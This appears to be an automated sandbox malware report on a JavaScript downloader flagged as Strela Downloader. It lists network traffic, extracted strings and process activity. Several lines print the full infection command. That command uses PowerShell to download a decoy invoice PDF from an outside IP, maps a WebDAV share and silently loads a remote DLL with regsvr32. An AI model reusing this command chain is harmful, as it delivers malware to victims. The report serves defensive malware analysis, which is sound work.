65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49701

Source: global traffic

TCP traffic: 192.168.2.7:49701 -> 193.143.1.205:8888

Source: global traffic	TCP traffic: 192.168.2.7:50624 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.7:60959 -> 162.159.36.2:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.7:49700 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org
Source: global traffic	DNS traffic detected: DNS query: 171.39.242.20.in-addr.arpa

Source: wscript.exe, 00000000.00000003.1250907757.000001EA7BD88000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1252178688.000001EA7BDB2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1252454871.000001EA7BDB3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 0000000C.00000002.1313263306.000001AA65428000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.2058888/
Source: net.exe, 0000000C.00000003.1312776684.000001AA6544D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000003.1312648749.000001AA6547E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 0000000C.00000002.1313263306.000001AA65428000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/H
Source: net.exe, 0000000C.00000002.1313350805.000001AA6544D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000003.1312776684.000001AA6544D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/bJ
Source: net.exe, 0000000C.00000002.1313350805.000001AA6544D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000003.1312776684.000001AA6544D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/w
Source: svchost.exe, 0000000F.00000002.2546136463.0000023FEFA00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.13.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.15.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.13.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.15.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000000F.00000003.1321945847.0000023FEFC00000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.15.dr, edb.log.15.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: qmgr.db.15.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe1C:
Source: ReaderMessages.10.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 6696, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 31244102191071522677.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/59@2/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4024:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tst5ok2q.fp3.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\31244102191071522677.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2152 --field-trial-handle=1528,i,2768293330515780230,7795670985524231554,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2152 --field-trial-handle=1528,i,2768293330515780230,7795670985524231554,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
